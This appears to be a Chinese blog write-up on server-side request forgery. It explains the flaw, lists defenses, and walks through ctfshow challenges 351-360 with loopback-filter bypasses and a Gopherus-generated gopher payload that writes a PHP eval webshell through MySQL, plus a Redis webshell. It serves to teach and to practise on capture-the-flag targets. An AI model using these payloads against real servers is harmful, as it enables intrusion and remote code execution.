SSRF服务端请求伪造

SSRF服务端请求伪造

SSRF漏洞原理

​ SSRF(Server-Side Request Forgery:服务器端请求伪造)

  • 一种由攻击者构造形成由服务端发起请求的一个安全漏洞;
  • 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
  • SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
黑盒探针
业务功能点
  • 1.社交分享功能:获取超链接的标题等内容进行显示
  • 2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 3.在线翻译:给网址翻译对应网页的内容
  • 4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  • 5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  • 6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  • 7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  • 8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
  • 9.邮件系统:比如接收邮件服务器地址
  • 10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  • 11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
URL关键参数
  • share
  • wap
  • url
  • link
  • src
  • source
  • target
  • u
  • display
  • sourceURl
  • imageURL
  • domain
白盒分析

(文件读取,加载,数据操作类的函数)

SSRF伪协议利用
http://  Web常见访问,如http://127.0.0.1
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
SSRF漏洞防御
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
案例

正常加载图片是数据格式

在这里插入图片描述

读取本地1001端口,成功访问搭建的zblog

http://127.0.0.1:1001

在这里插入图片描述

ctfshow-351

在这里插入图片描述

使用hackbar,post请求http协议

url=http://127.0.0.1/flag.php

在这里插入图片描述

ctfshow-352

必须为http或https但是过滤localhost和127.0.0

在这里插入图片描述

URL编码绕过

直接用hackbar自带的编码

url=http://%31%32%37%2e%30%2e%30%2e%31/flag.php

在这里插入图片描述

进制绕过

可以看到127进行16进制转换后为7f,在16进制前加上0x使电脑识别为16进制,ping 0x7f.0.0.1 计算机可识别为127.0.0.1

在这里插入图片描述

url=http://0x7f.0.0.1/flag.php

在这里插入图片描述

八进制前面加上0,使电脑识别为八进制

url=http://0177.0.0.1/flag.php

在这里插入图片描述

ip地址转换

在这里插入图片描述

十进制整数
url=http://2130706433/flag.php

在这里插入图片描述

十六进制整数
url=http://0x7F000001/flag.php

在这里插入图片描述

还有一种特殊的省略模式
  127.0.0.1写成127.1

用CIDR绕过localhost
  url=http://127.127.127.127/flag.php

还有很多方式
  url=http://0/flag.php
  url=http://0.0.0.0/flag.php
ctfshow-353

像352关进制绕过

url=http://0x7F000001/flag.php

在这里插入图片描述

ctfshow-354

过滤localhost,0,1等

在这里插入图片描述

绑定域名

将127.0.0.1解析到域名绕过

sudo.cc

sudo.cc解析为127.0.0.1

url=http://sudo.cc/flag.php

在这里插入图片描述

ctfshow-355

限制域名长度

在这里插入图片描述

0=127.0.0.1
url=http://0/flag.php

在这里插入图片描述

ctfshow-356

限制长度

在这里插入图片描述

0=127.0.0.1
url=http://0/flag.php

在这里插入图片描述

ctfshow-357

过滤解析后的ip等

在这里插入图片描述

重定向解析绕过
<?php
header("Location:http://127.0.0.1/flag.php"); 
ubuntu临时开启php服务器
apt install php
php -S 0.0.0.0:5566
killall php

在这里插入图片描述

url=http://x.x.x.x:5566/http/poc.php

在这里插入图片描述

ctfshow-358

url需要以http://ctf开头,以show结尾,才能触发file_get_contents()

在这里插入图片描述

http基本身份认证方式绕过@

此处ctf.将作为账号登录127.0.0.1,并且向flag.php传一个show参数来绕过

url=http://ctf.@127.0.0.1/flag.php#show

在这里插入图片描述

ctfshow-359

提示打无密码的mysql

在这里插入图片描述

在这里插入图片描述

抓包找到跨站注入点,因为要攻击mysql,需要用到gopher协议

在这里插入图片描述

gopher协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload
由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候

工具:Gopherus

选择mysql,执行sql语句,写入一个后门语句到网站默认目录/var/www/html/

python2 gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: select "<?php eval($_POST["pass"]);?>" into outfile "/var/www/html/pass.php"

在这里插入图片描述

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%70%61%73%73%2e%70%68%70%22%01%00%00%00%01

使用burp将url编码一下,因为浏览器会进行url解码一次。

在这里插入图片描述

访问生成的pass.php,查看根目录下的flag

在这里插入图片描述

ctfshow-360

redis数据库未授权

在这里插入图片描述

使用gopherus生成

python2 gopherus.py --exploit redis
What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[pass]);?>

在这里插入图片描述

直接利用生成的payload请求

在这里插入图片描述

使用哥斯拉连接生成的shell.php

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/722887.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

大模型“诸神之战”,落地才是赛点

ChatGPT 诞生已经快一年&#xff0c;你还在与它对话吗&#xff1f; 有的人用来写报告、改代码&#xff0c;让它成为得力帮手&#xff1b;有的人却只是“调戏”个两三回&#xff0c;让它创作诗歌或故事&#xff0c;便不再“宠幸”。 根据网站分析工具 SimilarWeb 的数据&#…

护眼灯哪些牌子好?一文刨析护眼灯怎么选择!

护眼灯哪些牌子好&#xff1f;护眼台灯作为对抗视力挑战的一种方法&#xff0c;逐渐赢得了众多家长的青睐。这些台灯利用尖端光学技术&#xff0c;发出柔和且无刺激的照明&#xff0c;有助于保护眼睛不受伤害。它们不但可以调节亮度和色温&#xff0c;打造一个舒适且自然的阅读…

(done) 关于 GNU/Linux API setenv 的实验

写一个下面的代码来验证 #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h>int main() {// 设置环境变量 MY_VAR 的值为 "hello_world"if (setenv("MY_VAR", "hello_world", 1) ! 0…

将粘贴文本进输入框中时不带有任何格式(包括背景颜色和字体)解决办法

只需要四行代码解决&#xff0c;这里用到vue3里面的事件 paste"" 代码块&#xff1a; <div paste"handlePaste"></div>//粘贴文本时不带有任何格式&#xff08;包括背景颜色和字体&#xff09;function handlePaste(event) {event.preventDef…

Mac M3 Pro 部署Spark-2.3.2 On Hive-3.1.3

目录 1、下载安装包 2、解压安装 3、修改配置 4、将spark的jars上传到hdfs 5、mysql中创建hive库 6、hive初始化数据库 7、启动Spark 8、启动HIVE 9、检查是否成功 mac的配置如下 1、下载安装包 官网 Apache Projects Releases 在search中搜索hadoop、hive spark &…

Github Copilot 用账号登录,完美支持chat,不妨试试

Github Copilot 代码补全等功能&#xff0c;提高写代码的效率 获取地址&#xff1a;https://web.52shizhan.cn/activity/copilot 如果之前是激活器激活的&#xff0c;请到环境变量里删除相关的copilot配置。 ① 发你注册的github账号的邮箱或用户名给客服&#xff0c;客服邀…

产品Web3D交互展示有什么优势?如何快速制作?

智能互联网时代&#xff0c;传统的图片、文字、视频等产品展示方式&#xff0c;因为缺少互动性&#xff0c;很难引起用户的兴趣&#xff0c;已经逐渐失去了宣传优势。 Web3D交互展示技术的出现&#xff0c;让众多品牌和企业找到了新的方向&#xff0c;线上产品展示不在枯燥无趣…

红海云CEO孙伟获2024“新锐企业家”荣誉

近日&#xff0c;由羊城晚报报业集团联合广东软件行业协会主办的“2024广东软件风云榜”活动圆满落下帷幕&#xff0c;红海云CEO孙伟以新技术、新业态、新模式&#xff0c;带领企业取得创新发展&#xff0c;荣膺2024广东软件风云榜“新锐企业家”称号。 为把握广东省数字经济和…

C/S、B/S架构(详解)

一、CS、BS架构定义 CS架构&#xff08;Client-Server Architecture&#xff09;是一种分布式计算模型&#xff0c;其中客户端和服务器之间通过网络进行通信。在这种架构中&#xff0c;客户端负责向服务器发送请求&#xff0c;并接收服务器返回的响应。服务器则负责处理客户端的…

南充文化旅游职业学院领导一行莅临泰迪智能科技参观交流

6月18日&#xff0c;南充文化旅游职业学院旅游系副书记刘周、教务处教学运行与质量保障科科长及智慧旅游技术应用专业教研室主任李月娴、大数据技术专业负责人 龙群才、大数据技术专业专任教师 李昱洁莅临泰迪智能科技产教融合实训中心参观交流。泰迪智能科技董事长张良均、副总…

白酒:酒文化与艺术创作的结合

酒文化与艺术创作在历史长河中相互交融&#xff0c;共同发展。云仓酒庄的豪迈白酒作为中国的酒的品牌&#xff0c;以其与众不同的口感和品质&#xff0c;成为了艺术创作的重要灵感来源。 首先&#xff0c;豪迈白酒的酿造技艺本身就是一种与众不同的艺术。酿酒师傅们在传承古老技…

springmvc拦截器 和 异常拦截器

springmvc拦截器的配置使用&#xff1a; 自定义监听器实现HandlerInterceptor接口&#xff1a; 在springmvc的配置文件中引入自定义拦截器对象及拦截目标 拦截器的方法调用 自定义一个拦截器&#xff1a; Component public class LoginInterceptor implements HandlerIntercept…

上位机图像处理和嵌入式模块部署(h750 mcu和usb虚拟串口)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 对于mcu usb而言&#xff0c;大部分情况下&#xff0c;它和上位机之间的关系都是device的关系。一般usb&#xff0c;可以分成host和device。如果mc…

【调试笔记-20240611-Linux-配置 OpenWrt-23.05 支持泛域名 acme 更新】

调试笔记-系列文章目录 调试笔记-20240611-Linux-配置 OpenWrt-23.05 支持泛域名 acme 更新 文章目录 调试笔记-系列文章目录调试笔记-20240611-Linux-配置 OpenWrt-23.05 支持泛域名 acme 更新 前言一、调试环境操作系统&#xff1a;Windows 10 专业版调试环境调试目标 二、调…

Python10 python多线程

1.什么是python多线程 Python的多线程指的是在一个Python程序中同时运行多个线程&#xff0c;以达到并发执行多个任务的目的。线程是操作系统能够进行运算调度的最小单位&#xff0c;它被包含在进程之中&#xff0c;是进程中的实际运作单位。 在Python中&#xff0c;多线程的…

【Hudi】基础概念-数据写

目录 数据写写操作写流程(UPSERT)写流程(Insert)写流程(Insert Overwrite)Key生成策略删除策略 数据写 写操作 UPSERT&#xff1a;默认行为&#xff0c;数据先通过index打标&#xff0c;有一些启发式算法决定消息的组织以及优化文件的大小>CDC导入INSERT:跳过index,写入效…

(已解决) Github无法显示图像问题

Github无法显示图像的问题 问题描述初次尝试最终解决 问题描述 今天打开github&#xff0c;创建了一个仓库&#xff0c;想从本地把一些最近做的东西传上来(git add . > git commit -m “xxx” > git push)&#xff0c;结果发现东西是成功传上来了&#xff0c;但是图片没…

简单好用的C++日志库spdlog使用示例

文章目录 前言一、spdlog的日志风格fmt风格printf风格 二、日志格式pattern三、sink&#xff0c;多端写入四、异步写入五、注意事项六、自己封装了的代码usespdlog.h封装代码解释使用示例 前言 C日志库有很多&#xff0c;glog&#xff0c;log4cpp&#xff0c;easylogging, eas…

PDF为何成为职场必备?编辑不求人,这几款工具助你一臂之力

不管是工作和学习&#xff0c;我们使用PDF文档的频率非常高&#xff0c;但是说起为什么要用PDF&#xff0c;却又只知其一不知其二。 为什么我们需要PDF&#xff1f; PDF&#xff0c;全称为Portable Document Format&#xff08;可移植文件格式&#xff09;&#xff0c;是一种…

【电机】PID参数整定方法

1 试凑法 采样周期的选择&#xff0c;要根据所设计的系统的具体情况&#xff0c;用试凑的方法&#xff0c;在试凑过程中根据各种合理的建议来预选采样周期&#xff0c;多次试凑&#xff0c;选择性能较好的一个作为最后的采样周期。早整定参数时必须要认真的观察系统的相应情况…